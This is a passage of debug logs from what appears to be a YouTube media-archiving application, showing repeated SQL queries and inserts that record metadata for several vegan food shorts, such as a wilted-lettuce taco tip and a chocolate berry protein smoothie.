WHERE (s0."id" = ?) [1] 20:30:33.384 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.6ms idle=8.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:33.385 [debug] QUERY OK source="media_items" db=0.4ms idle=8.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [848] 20:30:33.385 [debug] Current batch of media processed. Will check again in 1000ms 20:30:34.386 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Stop throwing out your lettuce when it get's wilty! Make lettuce wrap TACOS instead! 🌮 \n\nFood waste sucks, you guys. When lettuce gets wilty, it just means it's lost it's water content, but the nutrients are all still there! Simply soak your lettuce in ice cold water for 30 minutes and it should perk right back up! Even if it doesn't, you can still use wilted lettuce to make some awesome tacos or lettuce wraps - you can even add them to smoothies!", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-13 STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts/STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts [W1gHhounVRA].NA", "id" => "W1gHhounVRA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/W1gHhounVRA", "playlist_index" => 460, "timestamp" => 1652456736, "title" => "STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts", "upload_date" => "20220513"} 20:30:34.387 [debug] QUERY OK source="sources" db=0.4ms idle=1004.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:34.388 [debug] QUERY OK source="sources" db=0.5ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:34.390 [debug] QUERY OK source="media_items" db=2.1ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-13 15:45:36Z], 1] 20:30:34.391 [debug] QUERY OK source="media_items" db=1.0ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Stop throwing out your lettuce when it get's wilty! Make lettuce wrap TACOS instead! 🌮 \n\nFood waste sucks, you guys. When lettuce gets wilty, it just means it's lost it's water content, but the nutrients are all still there! Simply soak your lettuce in ice cold water for 30 minutes and it should perk right back up! Even if it doesn't, you can still use wilted lettuce to make some awesome tacos or lettuce wraps - you can even add them to smoothies!", "STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts", "ee3e7db4-e829-485a-977b-eec9e864ab8e", 1, [], 15, false, "W1gHhounVRA", "https://www.youtube.com/shorts/W1gHhounVRA", 460, "/downloads/downloads/alec/Steamy Vegan/2022-05-13 STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts/STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts [W1gHhounVRA].NA", false, false, true, 0, ~U[2022-05-13 15:45:36Z], ~U[2026-03-22 03:30:34Z], ~U[2026-03-22 03:30:34Z], "Stop throwing out your lettuce when it get's wilty! Make lettuce wrap TACOS instead! 🌮 \n\nFood waste sucks, you guys. When lettuce gets wilty, it just means it's lost it's water content, but the nutrients are all still there! Simply soak your lettuce in ice cold water for 30 minutes and it should perk right back up! Even if it doesn't, you can still use wilted lettuce to make some awesome tacos or lettuce wraps - you can even add them to smoothies!", "STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts", 1, 15, false, "W1gHhounVRA", "https://www.youtube.com/shorts/W1gHhounVRA", "/downloads/downloads/alec/Steamy Vegan/2022-05-13 STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts/STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts [W1gHhounVRA].NA", true, ~U[2022-05-13 15:45:36Z]] 20:30:34.392 [debug] QUERY OK source="sources" db=0.5ms idle=711.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:34.393 [debug] QUERY OK source="media_profiles" db=0.6ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:34.394 [debug] QUERY OK source="media_items" db=0.6ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [849] 20:30:34.394 [debug] Current batch of media processed. Will check again in 1000ms 20:30:35.395 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We try some weird food pairings so you don't have to. Tell us about the weirdest food pairings you've tried and what you think of cayenne and pineapple. This one isn't as weird as the 7 others we tried.\n\nThe full video will be released later this week. Subscribe so you don't miss out!", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-12 WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍/WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍 [px0_r8VNKtA].NA", "id" => "px0_r8VNKtA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/px0_r8VNKtA", "playlist_index" => 461, "timestamp" => 1652369139, "title" => "WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍", "upload_date" => "20220512"} 20:30:35.396 [debug] QUERY OK source="sources" db=0.4ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:35.397 [debug] QUERY OK source="sources" db=0.4ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:35.399 [debug] QUERY OK source="media_items" db=2.2ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-12 15:25:39Z], 1] 20:30:35.401 [debug] QUERY OK source="media_items" db=1.4ms idle=1005.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We try some weird food pairings so you don't have to. Tell us about the weirdest food pairings you've tried and what you think of cayenne and pineapple. This one isn't as weird as the 7 others we tried.\n\nThe full video will be released later this week. Subscribe so you don't miss out!", "WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍", "08af48cc-f94a-447f-a771-98fdb88b8216", 1, [], 15, false, "px0_r8VNKtA", "https://www.youtube.com/shorts/px0_r8VNKtA", 461, "/downloads/downloads/alec/Steamy Vegan/2022-05-12 WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍/WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍 [px0_r8VNKtA].NA", false, false, true, 0, ~U[2022-05-12 15:25:39Z], ~U[2026-03-22 03:30:35Z], ~U[2026-03-22 03:30:35Z], "We try some weird food pairings so you don't have to. Tell us about the weirdest food pairings you've tried and what you think of cayenne and pineapple. This one isn't as weird as the 7 others we tried.\n\nThe full video will be released later this week. Subscribe so you don't miss out!", "WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍", 1, 15, false, "px0_r8VNKtA", "https://www.youtube.com/shorts/px0_r8VNKtA", "/downloads/downloads/alec/Steamy Vegan/2022-05-12 WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍/WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍 [px0_r8VNKtA].NA", true, ~U[2022-05-12 15:25:39Z]] 20:30:35.401 [debug] QUERY OK source="sources" db=0.1ms idle=718.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:35.402 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:35.403 [debug] QUERY OK source="media_items" db=0.4ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [850] 20:30:35.403 [debug] Current batch of media processed. Will check again in 1000ms 20:30:36.404 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We try odd food pairings that you'd never think work together and yet many of them have gone viral and are really popular pairings. Watch us as we try these weird food pairings for you so you don't have to.\n\nSubscribe for the full video release later this week.", "duration" => 37, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-11 We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts/We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts [6dVP0hd37vM].NA", "id" => "6dVP0hd37vM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/6dVP0hd37vM", "playlist_index" => 462, "timestamp" => 1652288803, "title" => "We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts", "upload_date" => "20220511"} 20:30:36.405 [debug] QUERY OK source="sources" db=0.6ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:36.406 [debug] QUERY OK source="sources" db=0.6ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:36.409 [debug] QUERY OK source="media_items" db=2.8ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-11 17:06:43Z], 1] 20:30:36.411 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We try odd food pairings that you'd never think work together and yet many of them have gone viral and are really popular pairings. Watch us as we try these weird food pairings for you so you don't have to.\n\nSubscribe for the full video release later this week.", "We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts", "43444330-c0d2-4b3e-8aff-0f9c709d018e", 1, [], 37, false, "6dVP0hd37vM", "https://www.youtube.com/shorts/6dVP0hd37vM", 462, "/downloads/downloads/alec/Steamy Vegan/2022-05-11 We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts/We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts [6dVP0hd37vM].NA", false, false, true, 0, ~U[2022-05-11 17:06:43Z], ~U[2026-03-22 03:30:36Z], ~U[2026-03-22 03:30:36Z], "We try odd food pairings that you'd never think work together and yet many of them have gone viral and are really popular pairings. Watch us as we try these weird food pairings for you so you don't have to.\n\nSubscribe for the full video release later this week.", "We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts", 1, 37, false, "6dVP0hd37vM", "https://www.youtube.com/shorts/6dVP0hd37vM", "/downloads/downloads/alec/Steamy Vegan/2022-05-11 We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts/We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts [6dVP0hd37vM].NA", true, ~U[2022-05-11 17:06:43Z]] 20:30:36.411 [debug] QUERY OK source="sources" db=0.4ms idle=726.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:36.412 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:36.413 [debug] QUERY OK source="media_items" db=0.4ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [851] 20:30:36.413 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nLooking for an indulgent-tasting smoothie disguised as a superfood? This CHOCOLATE BERRY PROTEIN SMOOTHIE is for you! It'll be your new fave post-workout drink, pinky promise 😘\n\nCheck out the FULL RECIPE on my blog --- https://steamvegankitchen.com/choco-berry-protein-smoothie/\nHungry for more? Check out my latest and greatest smoothies:\nhttps://youtu.be/NToOA5QK408", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-11 Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts/Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts [LoJjAqfKsAI].NA", "id" => "LoJjAqfKsAI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/LoJjAqfKsAI", "playlist_index" => 463, "timestamp" => 1652277607, "title" => "Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts", "upload_date" => "20220511"} 20:30:36.414 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:36.414 [debug] QUERY OK source="sources" db=0.2ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:36.417 [debug] QUERY OK source="media_items" db=2.4ms idle=3.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-11 14:00:07Z], 1] 20:30:36.419 [debug] QUERY OK source="media_items" db=1.4ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nLooking for an indulgent-tasting smoothie disguised as a superfood? This CHOCOLATE BERRY PROTEIN SMOOTHIE is for you! It'll be your new fave post-workout drink, pinky promise 😘\n\nCheck out the FULL RECIPE on my blog --- https://steamvegankitchen.com/choco-berry-protein-smoothie/\nHungry for more? Check out my latest and greatest smoothies:\nhttps://youtu.be/NToOA5QK408", "Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts", "7112577e-9479-4e82-a0d0-db34c4b9b127", 1, [], 60, false, "LoJjAqfKsAI", "https://www.youtube.com/shorts/LoJjAqfKsAI", 463, "/downloads/downloads/alec/Steamy Vegan/2022-05-11 Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts/Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts [LoJjAqfKsAI].NA", false, false, true, 1, ~U[2022-05-11 14:00:07Z], ~U[2026-03-22 03:30:36Z], ~U[2026-03-22 03:30:36Z], "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nLooking for an indulgent-tasting smoothie disguised as a superfood? This CHOCOLATE BERRY PROTEIN SMOOTHIE is for you! It'll be your new fave post-workout drink, pinky promise 😘\n\nCheck out the FULL RECIPE on my blog --- https://steamvegankitchen.com/choco-berry-protein-smoothie/\nHungry for more? Check out my latest and greatest smoothies:\nhttps://youtu.be/NToOA5QK408", "Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts", 1, 60, false, "LoJjAqfKsAI", "https://www.youtube.com/shorts/LoJjAqfKsAI", "/downloads/downloads/alec/Steamy Vegan/2022-05-11 Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts/Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts [LoJjAqfKsAI].NA", true, ~U[2022-05-11 14:00:07Z]] 20:30:36.419 [debug] QUERY OK source="sources" db=0.4ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", 